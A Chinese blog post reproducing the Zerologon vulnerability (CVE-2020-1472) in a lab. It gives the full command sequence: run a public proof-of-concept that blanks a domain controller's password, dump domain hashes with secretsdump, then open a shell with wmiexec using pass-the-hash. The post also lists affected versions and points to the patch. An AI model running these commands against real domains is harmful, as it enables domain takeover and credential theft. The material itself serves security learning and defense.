CVE-2020-1472漏洞复现
0x01 漏洞简介
2020年08月12日,Windows官方 发布了
NetLogon 特权提升漏洞
的风险通告,该漏洞编号为CVE-2020-1472
漏洞等级:
严重
漏洞评分:
10分
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序
0x02 漏洞影响
python
Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)Windows Server, version 2004 (Server Core installation)
0x03 漏洞复现
漏洞环境
靶机:Windows Server 2012
攻击机:Kali
复现步骤
拉取POC
git clone https://github.com/dirkjanm/CVE-2020-1472.git
image-20200921155539106使用POC重置管理员密钥
pythonpython3 cve-2020-1472-exploit.py hostname ip
坑:攻击机环境要求python版本在3.7以上,而且要获取最新版的Impacket,否则会产生如下报错报错(新版本中更新了我们利用中会用到的函数NetrServerPasswordSet2)

image-20200921180251867
安装Impacket
python
git clone https://github.com/SecureAuthCorp/impacket cd impacket pip install .
效果如下:

image-20200921185101122
此时密码已经置空
获取HASH
~impacket/examples/ # windows python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass # Windows无需转义 # others python secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass #注意转义
成功获取HASH

image-20200921190154484

image-20200921190454938
获取Shell
根据第三步获取到的HASH,利用wmiexec.py登录,从而获取一个SHELL
python
~impacket/examples/python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR

image-20200921192241359
0x04 修复建议
安装符合操作系统的漏洞补丁,
详情请见:
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-1472
0x05 参考链接
重置管理员密码POC:https://github.com/dirkjanm/CVE-2020-1472
来源: 夜莺
文章作者: 夜莺
文章链接: https://shallowdream.cn/posts/50c5.html
本文章著作权归作者所有,任何形式的转载都请注明出处。